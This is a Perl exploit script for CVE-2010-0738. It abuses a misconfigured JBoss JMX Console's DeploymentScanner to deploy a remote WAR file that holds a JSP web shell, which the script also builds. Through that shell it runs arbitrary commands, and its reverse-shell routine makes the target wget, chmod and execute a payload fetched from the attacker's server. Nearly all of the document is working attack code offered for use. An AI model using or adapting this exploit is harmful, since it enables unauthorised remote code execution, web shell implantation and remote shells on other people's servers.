#!/usr/bin/perl
# Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner
# Date: Oct 3 2011
# Author: y0ug <at> codsec.com
# Version: 
# Tested on: Linux
# CVE : CVE-2010-0738
#
# POC against misconfigured JBoss JMX Console
# It use the addUrl method in DeploymentScanner module
#
# More information
# http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf
# http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html
#
# You need to edit
#    $url_cmd to match the war payload url
#    $url_shell is your reverse shell url 
#         ( only if you want to use reverse_shell("ip", "port") )
#
# The JSP shell is not mine is available every where
# I add a -b param that build the war contener to do this you need java
#
# Is a fast POC coded this morning for fun so maybe it don't cover all case/version
#
# Usage:
#  Build the war contener (need java)
#   ./jboss -b
#  Hack
#   ./jboss http://www.vuln.com:8080

use strict;

use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
use IO::Socket::SSL;
use Cwd;

# configuration section
my $url_cmd = "http://127.0.0.1/cmd.war";
my $url_shell = "http://127.0.0.1/reverse.pl";
my $debug = 0; # 1 to switch to debug
my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ".      
    "Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'";

# Don't edit from here
my $installed = 0;
my $url;

my $ua = LWP::UserAgent->new;

$SIG{INT} = "sigtrap";

sub debug {
    if( $debug ){
        print STDERR "debug: ", @_, "\n";
    }
}

sub check_url {
    my $request = GET "$url/jmx-console/";
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    return 0;
}

sub sigtrap {
    if ( $installed ){
        print " [*] Clean of $url in progress...\n";
        clean_war();
    }
    exit 1;
}

sub find_method_index {
    my $method = shift(@_);

    my $request = GET "$url/jmx-console/HtmlAdaptor?" . 
    "action=inspectMBean&name=jboss.deployment" .
    "%3Aflavor%3DURL%2Ctype%3DDeploymentScanner";
   
    
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    # Match a certain jboss version
    while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){
        my $form = $1;
        if ( $form =~ /$method/ ){
            if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)">/ ){
                debug("method $method at index $1");
                return $1;
            }
        }
    }
    
    # Match another jboss version
    while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){
        my $form = $1;
        if ( $form =~ /<input type='hidden' name='methodIndex' value='(\d+)'\/>/ ){
            debug("method $method at index $1");
            return $1;
        }
    }
    
    # Match another jboss version
    while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){
        my $form = $1;
        if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)" \/>/ ){
            debug("method $method at index $1");
            return $1;
        }
    }    
    return -1;
}

sub is_installed_war {
    my $method_index = find_method_index("hasURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL\n"; return -1; }
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;

    if ( $page =~ m{<pre>(.*?)</pre>}s ){
        my $ret = $1;
        if ( $ret =~ /true/ ){
            return 1;
        }else{
            return 0;
        }
    }else{
        print STDERR "error: occured during is_installed_war regex!\n";
        return -2;
    }
}

sub install_war {
    if (is_installed_war == 1){
        print " [*] Install canceled, already installed\n";
        return 1;
    }
    my $method_index = find_method_index("addURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for addURL\n"; return -1; }
    
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{</table>(.*?)</body>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }else{
        print STDERR "error: occured during install_war regex!\n";
        return -1;
    }
}

sub clean_war {
    while(is_installed_war == 1){
        if ( uninstall_war() < 0 ){
            return -1;
        }
    }
    print " [*] Clean complete\n";
    return 0;
}

sub uninstall_war {
    my $method_index = find_method_index("removeURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; }
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{</table>(.*?)</body>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }else{
        print STDERR "error: occured during uninstall_war regex!\n";
        return -1;
    }
}

sub execute {
    my $cmd = shift(@_);
    print '$ ' . $cmd . "\n";
    
    my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        if ( $response->code == 404 ){
            print STDERR "Command war contener is not installed!\n";
        }else{
            print STDERR $response->status_line, "\n";
        }
        return -1;
    }
    my $page = $response->decoded_content;
    
    my $content = $page;

    if ( $content =~ m{<BR>(.*)</pre>}s ){
        print trim($1) . "\n";
        return 0;
    }else{
        print STDERR "error: occured during exec regex!\n";
        return -1;
    }
}

sub reverse_shell {
    my ($ip, $port) = @_;
    print " [*] reverse shell to $ip $port\n";
    my $cmd = "wget -O /tmp/a $url_shell";
    if ( execute($cmd) < 0 ){
        return -1;
    }
    if ( execute("chmod +x /tmp/a") < 0 ){
        return -1;
    }
    return execute("/tmp/a $ip $port");
}

sub trim($){
	my $string = shift;
	$string =~ s/^\s+//;
	$string =~ s/\s+$//;
	return $string;
}

sub setup {
    print " [*] Check url $url...\n";
    if ( check_url() < 0 ){
        print "Url $url not available!\n";
        return -1;
    }
    
    print " [*] Try to install command war contener...\n";
    return install_war;
}

sub check_cmd {
    my $t = 5;
    for( my $i = 1; $i <= $t ; ++$i ){
        my $request = GET "$url/cmd/cmd.jsp";
        my $response = $ua->request($request);
        if (!$response->is_success) {
            if ( $response->code != 404 ){
                print STDERR $response->status_line, "\n";
                return 0;
            }
            print(" [*] check_cmd $i/$t failed\n");
        }else{
            print(" [*] check_cmd $i/$t ok, gogogo!\n");
            return 1;
        }
        if ( $i < $t-1) {sleep(15); }
   }
   return 0;
}

sub help {
    print "Help\n";
    print " - Is a perl shell so you can call perl function\n";
    print " > execute(\"id\") # execute the commande\n";
    print " > reverse_shell(\"8.8.8.8\", \"1912\") # download your reverse shell and execute it\n";
    print " > clean # remove the war contener from the server\n";
    print " > check_cmd # loop until command available\n";
    print " > install_war # install the war contener from url\n";
    print " > exit # clean and quit\n";
    print " > exitd # exit without cleaning\n";
}

sub build_war {
    my $jsp_file = "cmd.jsp";
    open( my $jsp_output, '>', $jsp_file ) or 
        die("Can't open $jsp_file : $!");

    print $jsp_output <<EOF;
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
EOF

    close($jsp_output);

    mkdir "WEB-INF";
    my $xml_file = "WEB-INF/web.xml";
    open( my $xml_output, '>', $xml_file ) or 
        die("Can't open $xml_file : $!");
    print $xml_output <<EOF;
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
EOF
    close($xml_output);

    system("jar cvf cmd.war WEB-INF/ $jsp_file");
    unlink($xml_file);
    unlink($jsp_file);
    rmdir("WEB-INF");
    
    print " [*] War contener is here ", getcwd, "/cmd.war\n";
    print " [*] Upload it to your server and update script url\n";
}

sub shell {
    do {
        print("> ");
        chop($_ = <STDIN>);
        if ( $_ eq "help" ) { help(); }
        if ( $_ eq "exitd" ) { exit 0; }
        elsif ( $_ ne "exit" ){  eval($_); }
        warn() if $@;
    } while ($_ ne "exit");
}

if($#ARGV+1 != 1){
    print " [*] Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner\n";
    print " [*] Date: Oct 3 2011\n";
    print " [*] Author: y0ug <at> codsec.com\n";
    print " [*] Version: 0.1\n";
    print " [*] JSP shell url $url_cmd\n\n";
    print " [*] Usage:\n";
    print "  Build the war contener (need java)\n";
    print " $0 -b\n";
    print "  Hack\n";
    print " $0 http://www.vuln.com:8080\n\n";
    
    
    exit 1;
}

if($ARGV[0] eq "-b"){
    build_war;
    exit 0;
}

$url = $ARGV[0];

$ua->agent($useragent);

print " [*] JSP shell url $url_cmd\n";

if ( setup() < 0 ){
    print " [*] Setup failed!\n";
    exit 1;
}
$installed = 1;
print " [*] Wait few minutes, times to JBoss to load the url\n";
print " [*] You can find the shell here too\n";
print " [*] $url/cmd/cmd.jsp\n";

if ( check_cmd() <= 0 ){
    print " [*] ## Exploit certainly failed! ##\n";
    print " [*] You can wait a little longer (run > check_cmd)\n";
}else{
    print " [*] Congrats, is up!\n";
    execute("id");
}

shell();

print " [*] Clean of $url in progress...\n";
clean_war();

exit(0);
